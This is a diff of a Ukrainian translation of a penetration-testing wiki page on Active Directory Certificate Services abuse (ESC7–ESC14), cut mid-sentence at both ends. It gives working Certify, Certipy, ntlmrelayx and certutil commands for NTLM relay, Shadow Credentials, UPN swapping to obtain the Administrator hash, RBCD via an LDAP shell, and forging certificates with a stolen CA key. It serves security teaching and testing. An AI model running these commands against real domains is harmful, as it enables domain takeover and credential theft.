цього розширення, CA НЕ перезапише кероване атакуючим значення під час видачі сертифіката. Результуючий сертифікат отримає розширення, обране атакуючим, яке може: -* Відповідати вимогам Application / Issuance Policy інших вразливих templates (що призводить до ескалації привілеїв). +* Задовольнити вимоги Application / Issuance Policy у інших вразливих шаблонів (призводячи до ескалації привілеїв). * Інжектувати додаткові EKU або політики, що надають сертифікату несподівану довіру в сторонніх системах. -Коротко, *Manage Certificates* — раніше вважалася «менш потужною» частиною ESC7 — тепер може бути використана для повної ескалації привілеїв або довготривалого персисту, без зміни конфігурації CA або потреби у більш обмежливому праві *Manage CA*. +Коротко: *Manage Certificates* — раніше вважалася «менш потужною» половиною ESC7 — тепер може бути використана для повної ескалації привілеїв або довготривалої персистенції, без змін конфігурації CA або потреби у більш обмежуючому праві *Manage CA*. #### Зловживання примітивом за допомогою Certify 2.0 -1. **Надішліть certificate request, який залишиться *pending*.** Це можна забезпечити template, що вимагає затвердження менеджером: +1. **Подайте запит на сертифікат, який залишатиметься *pending*.** Це можна змусити за допомогою шаблону, що вимагає схвалення менеджера: ```powershell Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval # Take note of the returned Request ID ``` -2. **Додайте користувацьке розширення до pending запиту** з використанням нової команди `manage-ca`: +2. **Додайте кастомне розширення до pending запиту** за допомогою нової команди `manage-ca`: ```powershell Certify.exe manage-ca --ca SERVER\\CA-NAME \ --request-id 1337 \ --set-extension "1.1.1.1=DER,10,01 01 00 00" # fake issuance-policy OID ``` -*Якщо template ще не визначає розширення *Certificate Issuance Policies*, наведене вище значення буде збережено після видачі.* +*Якщо шаблон ще не визначає розширення *Certificate Issuance Policies*, наведене вище значення буде збережено після видачі.* -3. **Видайте запит** (якщо ваша роль також має права схвалення *Manage Certificates*) або дочекайтеся, поки оператор його затвердить. Після видачі завантажте сертифікат: +3. **Видайте запит** (якщо ваша роль також має права затвердження *Manage Certificates*) або дочекайтесь, поки оператор його затвердить. Після видачі завантажте сертифікат: ```powershell Certify.exe request-download --ca SERVER\\CA-NAME --id 1337 ``` -4. Отриманий сертифікат тепер містить зловмисний OID issuance-policy і може бути використаний у подальших атаках (наприклад ESC13, ескалація домену тощо). +4. Результуючий сертифікат тепер містить зловмисний issuance-policy OID і може бути використаний у наступних атаках (наприклад ESC13, ескалація у домені тощо). -> NOTE: Ту ж атаку можна виконати за допомогою Certipy ≥ 4.7 через команду `ca` та параметр `-set-extension`. +> NOTE: Ту саму атаку можна виконати за допомогою Certipy ≥ 4.7 через команду `ca` і параметр `-set-extension`. -## NTLM relay до HTTP кінцевих точок AD CS – ESC8 +## NTLM Relay to AD CS HTTP Endpoints – ESC8 ### Пояснення > [!TIP] -> В середовищах, де **AD CS встановлено**, якщо існує вразлива **web enrollment endpoint** і принаймні один **certificate template опублікований**, який дозволяє **domain computer enrollment та client authentication** (наприклад дефолтний **`Machine`** template), стає можливим, що **будь-який комп’ютер із активною spooler service може бути скомпрометований атакуючим**! +> У середовищах, де **AD CS встановлено**, якщо існує вразливий **web enrollment endpoint** і принаймні один **certificate template** опублікований, що дозволяє **domain computer enrollment та client authentication** (наприклад дефолтний **`Machine`** шаблон), це робить можливим компрометацію **будь-якого комп’ютера з активним spooler service** атакуючим! -AD CS підтримує кілька **HTTP-based enrollment methods**, доступних через додаткові серверні ролі, які адміністратори можуть інсталювати. Ці інтерфейси для HTTP-реєстрації сертифікатів вразливі до **NTLM relay attacks**. Нападник з **компрометованої машини** може сімітувати будь-який AD акаунт, який автентифікується через вхідний NTLM. Імітуючи жертву, нападник може звертатися до цих веб-інтерфейсів, щоб **запитати клієнтський certificate для client authentication, використовуючи `User` або `Machine` templates**. +AD CS підтримує декілька **HTTP-based enrollment** методів, які надаються через додаткові серверні ролі, що адміністратори можуть встановити. Ці інтерфейси для HTTP-реєстрації сертифікатів вразливі до **NTLM relay** атак. Атакуючий, зкомпрометувавши машину, може видавати себе за будь-який AD обліковий запис, який автентифікується через вхідний NTLM. Під особою жертви ці веб-інтерфейси можна використати для **запиту client authentication certificate** з використанням шаблонів `User` або `Machine`. -- **Web enrollment interface** (старіший ASP-додаток, доступний за `http:///certsrv/`) за замовчуванням працює лише через HTTP, що не захищає від NTLM relay attacks. Додатково, він явно дозволяє лише NTLM аутентифікацію через Authorization HTTP header, роблячи більш безпечні методи автентифікації, як Kerberos, непридатними. -- **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service та **Network Device Enrollment Service** (NDES) за замовчуванням підтримують negotiate аутентифікацію через Authorization HTTP header. Negotiate аутентифікація **підтримує і** Kerberos, і **NTLM**, що дозволяє нападнику **понизити** автентифікацію до NTLM під час relay-атак. Хоча ці веб-сервіси за замовчуванням дозволяють HTTPS, сам по собі HTTPS **не захищає від NTLM relay attacks**. Захист від NTLM relay для HTTPS сервісів можливий лише коли HTTPS комбінується з channel binding. На жаль, AD CS не включає Extended Protection for Authentication на IIS, що потрібно для channel binding. +- **Web enrollment interface** (старіший ASP-додаток, доступний за `http:///certsrv/`) за замовчуванням працює через HTTP, що не захищає від NTLM relay атак. Крім того, він явно дозволяє лише NTLM аутентифікацію через свої Authorization HTTP заголовки, роблячи більш безпечні методи аутентифікації, як Kerberos, непридатними. +- **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service та **Network Device Enrollment Service** (NDES) за замовчуванням підтримують negotiate аутентифікацію через свій Authorization HTTP заголовок. Negotiate підтримує як Kerberos, так і **NTLM**, дозволяючи атакуючому **понизити до NTLM** під час relay атак. Хоча ці веб-служби зазвичай запускаються з HTTPS, сам по собі HTTPS **не захищає від NTLM relay**. Захист від NTLM relay для HTTPS сервісів можливий лише коли HTTPS поєднано з channel binding. На жаль, AD CS не вмикає Extended Protection for Authentication на IIS, що необхідно для channel binding. -Поширеною **проблемою** NTLM relay атак є **коротка тривалість NTLM сесій** та неможливість нападника взаємодіяти з сервісами, які **вимагають NTLM signing**. +Поширеною **проблемою** NTLM relay атак є **коротка тривалість NTLM сесій** та неможливість атакуючого взаємодіяти зі службами, які **вимагають NTLM signing**. -Однак це обмеження долається використанням NTLM relay для отримання сертифіката для користувача, оскільки строк дії сертифіката визначає тривалість сесії, і сертифікат можна використовувати з сервісами, які **вимагають NTLM signing**. Інструкції щодо використання вкраденого сертифіката див. у: +Втім, це обмеження обходиться шляхом використання NTLM relay для отримання сертифіката для користувача — термін дії сертифіката визначає тривалість сесії, а сертифікат можна застосовувати до сервісів, що **вимагають NTLM signing**. Інструкції з використання вкраденого сертифіката див. у: {{#ref}} account-persistence.md {{#endref}} -Інше обмеження NTLM relay атак — це те, що **машина, контрольована нападником, має бути автентифікована акаунтом жертви**. Нападник може або чекати, або намагатися **спричинити** таку автентифікацію: +Ще одне обмеження NTLM relay атак полягає в тому, що **машина, під контролем атакуючого, має бути автентифікована обліковим записом жертви**. Атакуючий може або чекати, або спробувати **примусити** цю автентифікацію: {{#ref}} ../printers-spooler-service-abuse.md @@ -403,13 +401,13 @@ account-persistence.md ### **Зловживання** -[**Certify**](https://github.com/GhostPack/Certify)’s `cas` перераховує **увімкнені HTTP кінцеві точки AD CS**: +[**Certify**](https://github.com/GhostPack/Certify)’s `cas` перераховує **увімкнені HTTP AD CS кінцеві точки**: ``` Certify.exe cas ```
-Властивість `msPKI-Enrollment-Servers` використовується корпоративними Certificate Authorities (CAs) для збереження кінцевих точок Certificate Enrollment Service (CES). Ці кінцеві точки можна розпарсити та перелічити, використовуючи інструмент **Certutil.exe**: +Властивість `msPKI-Enrollment-Servers` використовується корпоративними органами сертифікації (CAs) для зберігання кінцевих точок Certificate Enrollment Service (CES). Ці кінцеві точки можна розпарсити та перерахувати за допомогою інструмента **Certutil.exe**: ``` certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA ``` @@ -437,9 +435,9 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe < ``` #### Зловживання за допомогою [Certipy](https://github.com/ly4k/Certipy) -Запит сертифіката за замовчуванням виконується Certipy на основі шаблону `Machine` або `User`, що визначається тим, чи закінчується ім'я облікового запису, яке ретранслюється, символом `$`. Вказати альтернативний шаблон можна за допомогою параметра `-template`. +Запит на сертифікат за замовчуванням виконується Certipy на основі шаблону `Machine` або `User`, що визначається тим, чи закінчується ім'я облікового запису, яке ретранслюється, на `$`. Вказати альтернативний шаблон можна за допомогою параметра `-template`. -Можна використати техніку, таку як [PetitPotam](https://github.com/ly4k/PetitPotam), щоб примусити автентифікацію. При роботі з контролерами домену потрібно вказати `-template DomainController`. +Потім можна застосувати техніку, таку як [PetitPotam](https://github.com/ly4k/PetitPotam), щоб змусити провести аутентифікацію. При роботі з контролерами домену необхідно вказати `-template DomainController`. ```bash certipy relay -ca ca.corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -452,55 +450,55 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Saved certificate and private key to 'administrator.pfx' [*] Exiting... ``` -## Немає розширення безпеки - ESC9 +## Відсутність розширення безпеки - ESC9 ### Пояснення -Нове значення **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) для **`msPKI-Enrollment-Flag`**, відоме як ESC9, забороняє вбудовування **нового розширення безпеки `szOID_NTDS_CA_SECURITY_EXT`** у сертифікат. Цей прапорець набуває значення, коли `StrongCertificateBindingEnforcement` встановлено в `1` (налаштування за замовчуванням), на відміну від значення `2`. Його важливість зростає в сценаріях, де може бути використане слабше відображення сертифіката для Kerberos або Schannel (як у ESC10), оскільки відсутність ESC9 не змінює вимог. +Нове значення **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) для **`msPKI-Enrollment-Flag`**, відоме як ESC9, запобігає вбудовуванню **нового `szOID_NTDS_CA_SECURITY_EXT` розширення безпеки** в сертифікат. Цей прапорець набуває значення, коли `StrongCertificateBindingEnforcement` встановлено в `1` (налаштування за замовчуванням), на відміну від значення `2`. Його значущість зростає у сценаріях, де може бути використано слабше відображення сертифікатів для Kerberos або Schannel (як у ESC10), оскільки відсутність ESC9 не змінює вимог. -Умови, за яких налаштування цього прапорця стає істотним, включають: +Умови, за яких налаштування цього прапорця набуває значення, включають: -- `StrongCertificateBindingEnforcement` не встановлено в `2` (за замовчуванням — `1`), або `CertificateMappingMethods` містить прапорець `UPN`. +- `StrongCertificateBindingEnforcement` не встановлено на `2` (за замовчуванням `1`), або `CertificateMappingMethods` містить прапорець `UPN`. - Сертифікат позначено прапорцем `CT_FLAG_NO_SECURITY_EXTENSION` у налаштуванні `msPKI-Enrollment-Flag`. -- Сертифікат містить будь-який EKU для автентифікації клієнта. -- Над будь-яким обліковим записом доступні права `GenericWrite`, що дозволяє скомпрометувати інший. +- Сертифікат вказує будь-який EKU для автентифікації клієнта. +- `GenericWrite` дозволи доступні на будь-який акаунт, щоб скомпрометувати інший. ### Сценарій зловживання -Припустимо, `John@corp.local` має права `GenericWrite` над `Jane@corp.local` з метою скомпрометувати `Administrator@corp.local`. Шаблон сертифіката `ESC9`, на який `Jane@corp.local` має право здійснити реєстрацію (enroll), налаштований з прапорцем `CT_FLAG_NO_SECURITY_EXTENSION` у параметрі `msPKI-Enrollment-Flag`. +Припустимо, `John@corp.local` має `GenericWrite` дозволи над `Jane@corp.local`, з метою скомпрометувати `Administrator@corp.local`. Шаблон сертифіката `ESC9`, в який `Jane@corp.local` має право enroll, налаштований з прапорцем `CT_FLAG_NO_SECURITY_EXTENSION` у параметрі `msPKI-Enrollment-Flag`. -Спочатку hash `Jane` отримується за допомогою Shadow Credentials завдяки `GenericWrite`, якими володіє `John`: +Спочатку хеш `Jane` отримано за допомогою Shadow Credentials завдяки `John`-овому `GenericWrite`: ```bash certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane ``` -Після цього `userPrincipalName` користувача `Jane` змінено на `Administrator`, навмисно опустивши частину домену `@corp.local`: +Згодом значення `userPrincipalName` користувача `Jane` було змінено на `Administrator`, навмисно опустивши частину домену `@corp.local`: ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` -Ця модифікація не порушує обмежень, оскільки `Administrator@corp.local` залишається відмінним значенням для `Administrator`'s `userPrincipalName`. +Ця модифікація не порушує обмежень, оскільки `Administrator@corp.local` залишається відмінним як `Administrator`'s `userPrincipalName`. -Після цього шаблон сертифіката `ESC9`, позначений як вразливий, запитується від імені `Jane`: +Після цього шаблон сертифіката `ESC9`, позначений вразливим, запитується як `Jane`: ```bash certipy req -username jane@corp.local -hashes -ca corp-DC-CA -template ESC9 ``` -Зауважено, що `userPrincipalName` сертифіката відображає `Administrator`, не містить жодного “object SID”. +Зауважено, що у сертифіката поле `userPrincipalName` відображає `Administrator`, позбавлене будь-якого “object SID”. -`userPrincipalName` користувача `Jane` потім було повернено до її початкового значення, `Jane@corp.local`: +Поле `userPrincipalName` користувача `Jane` потім відновлюється до початкового значення `Jane@corp.local`: ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -Спроба автентифікації за допомогою виданого сертифіката тепер повертає NT hash користувача `Administrator@corp.local`. Команда має включати `-domain ` через відсутність у сертифікаті вказівки домену: +Спроба автентифікації за виданим сертифікатом тепер повертає NT-хеш `Administrator@corp.local`. Команда має містити `-domain ` через відсутність специфікації домену в сертифікаті: ```bash certipy auth -pfx adminitrator.pfx -domain corp.local ``` -## Weak Certificate Mappings - ESC10 +## Слабкі відображення сертифікатів - ESC10 -### Explanation +### Пояснення -ESC10 стосується двох значень ключів реєстру на контролері домену: +Під ESC10 маються на увазі два значення ключів реєстру на контролері домену: -- Значення за замовчуванням для `CertificateMappingMethods` у `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` — `0x18` (`0x8 | 0x10`), раніше встановлювалося як `0x1F`. -- Параметр за замовчуванням для `StrongCertificateBindingEnforcement` у `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` — `1`, раніше — `0`. +- The default value for `CertificateMappingMethods` under `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` is `0x18` (`0x8 | 0x10`), previously set to `0x1F`. +- The default setting for `StrongCertificateBindingEnforcement` under `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` is `1`, previously `0`. **Випадок 1** @@ -510,69 +508,69 @@ ESC10 стосується двох значень ключів реєстру Якщо `CertificateMappingMethods` включає біт `UPN` (`0x4`). -### Сценарій зловживання 1 +### Випадок зловживання 1 Якщо `StrongCertificateBindingEnforcement` налаштовано як `0`, обліковий запис A з правами `GenericWrite` може бути використаний для компрометації будь-якого облікового запису B. -Наприклад, маючи права `GenericWrite` на `Jane@corp.local`, атакуючий прагне скомпрометувати `Administrator@corp.local`. Процедура аналогічна ESC9 і дозволяє використовувати будь-який шаблон сертифіката. +Наприклад, маючи права `GenericWrite` на `Jane@corp.local`, нападник намагається скомпрометувати `Administrator@corp.local`. Процедура повторює ESC9, дозволяючи використовувати будь-який шаблон сертифіката. -Спочатку hash користувача `Jane` отримується за допомогою Shadow Credentials, експлуатуючи `GenericWrite`. +Спочатку хеш `Jane` отримується за допомогою Shadow Credentials, використовуючи `GenericWrite`. ```bash certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane ``` -Потім у `Jane` було змінено `userPrincipalName` на `Administrator`, свідомо опустивши частину `@corp.local`, щоб уникнути порушення обмеження. +Надалі `userPrincipalName` користувача `Jane` змінюється на `Administrator`, навмисно опускаючи частину `@corp.local`, щоб уникнути порушення обмеження. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` -Після цього від імені `Jane` запитується сертифікат для клієнтської аутентифікації, з використанням шаблону за замовчуванням `User`. +Після цього від імені `Jane` запитується сертифікат для клієнтської автентифікації, використовуючи шаблон за замовчуванням `User`. ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -Значення `userPrincipalName` у `Jane` потім відновлюється до початкового — `Jane@corp.local`. +`Jane`'s `userPrincipalName` потім відновлюється до свого початкового значення, `Jane@corp.local`. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -Аутентифікація за допомогою отриманого сертифіката поверне NT hash для `Administrator@corp.local`, тому в команді потрібно вказати домен через відсутність відомостей про домен у сертифікаті. +Аутентифікація за допомогою отриманого сертифіката поверне NT hash для `Administrator@corp.local`, тому в команді необхідно вказати домен через відсутність даних про домен у сертифікаті. ```bash certipy auth -pfx administrator.pfx -domain corp.local ``` -### Випадок зловживання 2 +### Сценарій зловживання 2 -Коли `CertificateMappingMethods` містить бітову мітку `UPN` (`0x4`), обліковий запис A з правами `GenericWrite` може скомпрометувати будь-який обліковий запис B, який не має властивості `userPrincipalName`, включно з обліковими записами машин та вбудованим доменним адміністратором `Administrator`. +Якщо в `CertificateMappingMethods` міститься бітовий прапор `UPN` (`0x4`), обліковий запис A з правами `GenericWrite` може скомпрометувати будь-який обліковий запис B, який не має властивості `userPrincipalName`, включно з машинними обліковими записами та вбудованим доменним адміністратором `Administrator`. -Тут мета — скомпрометувати `DC$@corp.local`, починаючи з отримання хешу `Jane` через Shadow Credentials, використовуючи `GenericWrite`. +Тут мета — скомпрометувати `DC$@corp.local`, починаючи з отримання хеша `Jane` за допомогою Shadow Credentials, використовуючи `GenericWrite`. ```bash certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane ``` -`userPrincipalName` користувача `Jane` потім встановлюється як `DC$@corp.local`. +`userPrincipalName` користувача `Jane` потім встановлюється в `DC$@corp.local`. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local' ``` -Сертифікат для автентифікації клієнта запитується як `Jane`, використовуючи шаблон за замовчуванням `User`. +Запитано сертифікат для аутентифікації клієнта від імені `Jane` із використанням шаблону за замовчуванням `User`. ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -Після цього процесу значення `userPrincipalName` для `Jane` повертається до початкового значення. +Після цього процесу `userPrincipalName` користувача `Jane` повертається до початкового значення. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local' ``` -Для аутентифікації через Schannel використовується опція Certipy `-ldap-shell`, що вказує на успішну аутентифікацію як `u:CORP\DC$`. +Для автентифікації через Schannel використовується опція Certipy `-ldap-shell`, що вказує на успішну аутентифікацію як `u:CORP\DC$`. ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -Через LDAP shell команди, такі як `set_rbcd`, дозволяють виконувати атаки Resource-Based Constrained Delegation (RBCD), що потенційно можуть скомпрометувати доменний контролер. +Через LDAP shell команди, такі як `set_rbcd`, дозволяють проводити атаки Resource-Based Constrained Delegation (RBCD), що потенційно можуть скомпрометувати контролер домену. ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -Ця вразливість також поширюється на будь-який обліковий запис користувача, який не має `userPrincipalName` або коли він не відповідає `sAMAccountName`, при цьому за замовчуванням `Administrator@corp.local` є основною ціллю через підвищені LDAP-привілеї та відсутність `userPrincipalName` за замовчуванням. +Ця вразливість також поширюється на будь-які облікові записи користувачів, які не мають `userPrincipalName` або у яких він не співпадає з `sAMAccountName`, причому за замовчуванням `Administrator@corp.local` є основною ціллю через підвищені LDAP-привілеї та відсутність `userPrincipalName`. ## Relaying NTLM to ICPR - ESC11 ### Пояснення -Якщо CA Server не налаштований з `IF_ENFORCEENCRYPTICERTREQUEST`, це дозволяє виконувати NTLM relay атаки без підпису через RPC-службу. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). +Якщо CA Server не сконфігурований з `IF_ENFORCEENCRYPTICERTREQUEST`, це дозволяє виконувати NTLM relay attacks без підпису через RPC service. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). -Ви можете використати `certipy` для перевірки, чи `Enforce Encryption for Requests` вимкнено, і certipy покаже вразливості `ESC11`. +Ви можете використати `certipy` для перевірки, чи `Enforce Encryption for Requests` вимкнено, і certipy покаже `ESC11` Vulnerabilities. ```bash $ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -610,29 +608,29 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k) [*] Saved certificate and private key to 'administrator.pfx' [*] Exiting... ``` -Примітка: Для контролерів домену потрібно вказати `-template` у DomainController. +Примітка: Для контролерів домену ми повинні вказати `-template` у DomainController. Або використовуючи [sploutchy's fork of impacket](https://github.com/sploutchy/impacket) : ```bash $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support ``` -## Shell access to ADCS CA with YubiHSM - ESC12 +## Shell access до ADCS CA with YubiHSM - ESC12 -### Explanation +### Пояснення -Адміністратори можуть налаштувати Certificate Authority так, щоб він зберігався на зовнішньому пристрої, наприклад, на "Yubico YubiHSM2". +Адміністратори можуть налаштувати Certificate Authority так, щоб зберігати її на зовнішньому пристрої, наприклад на "Yubico YubiHSM2". -Якщо USB-пристрій підключено до CA-сервера через USB-порт, або через USB device server у випадку, коли CA-сервер — віртуальна машина, для Key Storage Provider потрібен authentication key (іноді званий "password") для генерації та використання ключів у YubiHSM. +Якщо USB-пристрій підключено до сервера CA через USB-порт, або через USB device server у випадку, якщо сервер CA є віртуальною машиною, для Key Storage Provider потрібен ключ автентифікації (іноді його називають "password"), щоб генерувати та використовувати ключі в YubiHSM. -Цей ключ/password зберігається в реєстрі за адресою `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` у відкритому вигляді. +Цей ключ/пароль зберігається в реєстрі за адресою `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` у відкритому вигляді. -Reference in [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). +Посилання: [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). -### Abuse Scenario +### Сценарій зловживання -Якщо приватний ключ CA зберігається на фізичному USB-пристрої, і ви отримали shell доступ, можливо відновити ключ. +Якщо приватний ключ CA зберігається на фізичному USB-пристрої, і ви отримали shell access, можливо відновити ключ. -Спочатку потрібно отримати сертифікат CA (він публічний), а потім: +Спершу потрібно отримати CA certificate (це публічне), а потім: ```cmd # import it to the user store with CA certificate $ certutil -addstore -user my @@ -640,17 +638,17 @@ $ certutil -addstore -user my # Associated with the private key in the YubiHSM2 device $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my ``` -Нарешті, використайте certutil `-sign` для підроблення нового довільного сертифіката, використовуючи сертифікат CA та його приватний ключ. +Нарешті, використайте команду certutil `-sign`, щоб підробити новий довільний сертифікат, використовуючи сертифікат CA та його приватний ключ. ## OID Group Link Abuse - ESC13 ### Пояснення -Атрибут `msPKI-Certificate-Policy` дозволяє додати політику видачі до шаблону сертифіката. Об'єкти `msPKI-Enterprise-Oid`, які відповідають за політики видачі, можна знайти в Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) контейнера PKI OID. Політику можна пов'язати з AD group за допомогою атрибута цього об'єкта `msDS-OIDToGroupLink`, що дозволяє системі авторизувати користувача, який пред'являє сертифікат, ніби він є членом цієї групи. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). +Атрибут `msPKI-Certificate-Policy` дозволяє додавати політику видачі до шаблону сертифіката. Об'єкти `msPKI-Enterprise-Oid`, які відповідають за політики видачі, можна виявити в Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) контейнера PKI OID. Політику можна пов'язати з AD-групою, використовуючи атрибут `msDS-OIDToGroupLink` цього об'єкта, що дозволяє системі авторизувати користувача, який пред'являє сертифікат, ніби він є членом групи. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). -Іншими словами, якщо користувач має дозвіл на реєстрацію (enroll) сертифіката і сертифікат пов'язаний з групою OID, користувач може успадкувати привілеї цієї групи. +Іншими словами, коли користувач має дозвіл на реєстрацію сертифіката і сертифікат пов'язаний з OID-групою, користувач може успадкувати привілеї цієї групи. -Використайте [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) щоб знайти OIDToGroupLink: +Використовуйте [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) щоб знайти OIDToGroupLink: ```bash Enumerating OIDs ------------------------ @@ -674,47 +672,47 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local ``` ### Сценарій зловживання -Знайдіть права користувача — можна використати `certipy find` або `Certify.exe find /showAllPermissions`. +Знайдіть дозволи користувача, які можна використати за допомогою `certipy find` або `Certify.exe find /showAllPermissions`. -Якщо `John` має право виконувати enroll на `VulnerableTemplate`, користувач може успадкувати привілеї групи `VulnerableGroup`. +Якщо `John` має дозвіл на реєстрацію для шаблону `VulnerableTemplate`, користувач може успадкувати привілеї групи `VulnerableGroup`. -Все, що потрібно зробити — просто вказати шаблон, і він отримає сертифікат із правами OIDToGroupLink. +Все, що потрібно зробити — просто вказати шаблон; він отримає сертифікат з правами OIDToGroupLink. ```bash certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate' ``` -## Уразлива конфігурація поновлення сертифікатів — ESC14 +## Vulnerable Certificate Renewal Configuration- ESC14 -### Пояснення +### Explanation Опис на https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping надзвичайно вичерпний. Нижче наведено цитату оригінального тексту. -ESC14 стосується вразливостей, що виникають через «слабке явне відображення сертифікатів», головним чином через неправильне використання або небезпечну конфігурацію атрибута Active Directory user або computer `altSecurityIdentities`. Цей мультизначний атрибут дозволяє адміністраторам вручну пов’язувати X.509 сертифікати з обліковим записом AD для аутентифікації. Коли він заповнений, ці явні відображення можуть переважати стандартну логіку відображення сертифікатів, яка зазвичай спирається на UPNs або DNS імена в SAN сертифіката, або на SID, вбудований в розширення безпеки `szOID_NTDS_CA_SECURITY_EXT`. +ESC14 стосується вразливостей, що виникають через "weak explicit certificate mapping", головним чином через неправильне використання або небезпечну конфігурацію атрибута `altSecurityIdentities` на облікових записах користувачів або комп'ютерів в Active Directory. Цей багатоманітний атрибут дозволяє адміністраторам вручну пов'язувати X.509 сертифікати з обліковим записом AD для цілей аутентифікації. Коли він заповнений, ці явні відображення можуть переважати над стандартною логікою відображення сертифікатів, яка зазвичай покладається на UPN або DNS-імена в SAN сертифіката, або SID, вбудований у розширення безпеки `szOID_NTDS_CA_SECURITY_EXT`. -«Слабке» відображення виникає, коли рядок значення, що використовується в атрибуті `altSecurityIdentities` для ідентифікації сертифіката, є занадто широким, легко вгадується, спирається на неконкретні поля сертифіката або використовує легко підроблювані компоненти сертифіката. Якщо атакуючий може отримати або створити сертифікат, атрибути якого відповідають такому слабо визначеному явному відображенню для привілейованого облікового запису, він може використати цей сертифікат для аутентифікації та імітації цього облікового запису. +"Слабке" відображення виникає, коли строкове значення, що використовується в атрибуті `altSecurityIdentities` для ідентифікації сертифіката, занадто широке, легко відгадуване, покладається на неунікальні поля сертифіката або використовує легко підроблювані компоненти сертифіката. Якщо атакуючий може отримати або створити сертифікат, атрибути якого відповідають такому слабо визначеному явному відображенню для привілейованого облікового запису, він може використовувати цей сертифікат для аутентифікації та імітації цього облікового запису. Приклади потенційно слабких рядків відображення `altSecurityIdentities` включають: -- Відображення виключно за звичайним Subject Common Name (CN): наприклад, `X509:CN=SomeUser`. Атакуючий може отримати сертифікат з цим CN з менш захищеного джерела. -- Використання надмірно загальних Issuer Distinguished Names (DNs) або Subject DNs без додаткової кваліфікації, як-от конкретний серійний номер або subject key identifier: наприклад, `X509:CN=SomeInternalCACN=GenericUser`. -- Застосування інших передбачуваних шаблонів або некриптографічних ідентифікаторів, які атакуючий може задовольнити у сертифікаті, який він легітимно отримує або підробляє (якщо він скомпрометував CA або знайшов вразливий шаблон, як в ESC1). +- Mapping solely by a common Subject Common Name (CN): e.g., `X509:CN=SomeUser`. An attacker might be able to obtain a certificate with this CN from a less secure source. +- Using overly generic Issuer Distinguished Names (DNs) or Subject DNs without further qualification like a specific serial number or subject key identifier: e.g., `X509:CN=SomeInternalCACN=GenericUser`. +- Employing other predictable patterns or non-cryptographic identifiers that an attacker might be able to satisfy in a certificate they can legitimately obtain or forge (if they have compromised a CA or found a vulnerable template like in ESC1). -Атрибут `altSecurityIdentities` підтримує різні формати відображення, такі як: +Атрибут `altSecurityIdentities` підтримує різні формати для відображення, такі як: -- `X509:IssuerDNSubjectDN` (відображення за повними Issuer та Subject DN) -- `X509:SubjectKeyIdentifier` (відображення за значенням розширення Subject Key Identifier сертифіката) -- `X509:SerialNumberBackedByIssuerDN` (відображення за серійним номером, неявно кваліфікованим Issuer DN) — зазвичай це не стандартний формат, зазвичай використовують `IssuerDNSerialNumber`. -- `X509:EmailAddress` (відображення за RFC822 іменем, зазвичай електронною адресою, із SAN) -- `X509:Thumbprint-of-Raw-PublicKey` (відображення за SHA1-хешем сирого відкритого ключа сертифіката — загалом сильне) +- `X509:IssuerDNSubjectDN` (maps by full Issuer and Subject DN) +- `X509:SubjectKeyIdentifier` (maps by the certificate's Subject Key Identifier extension value) +- `X509:SerialNumberBackedByIssuerDN` (maps by serial number, implicitly qualified by the Issuer DN) - this is not a standard format, usually it's `IssuerDNSerialNumber`. +- `X509:EmailAddress` (maps by an RFC822 name, typically an email 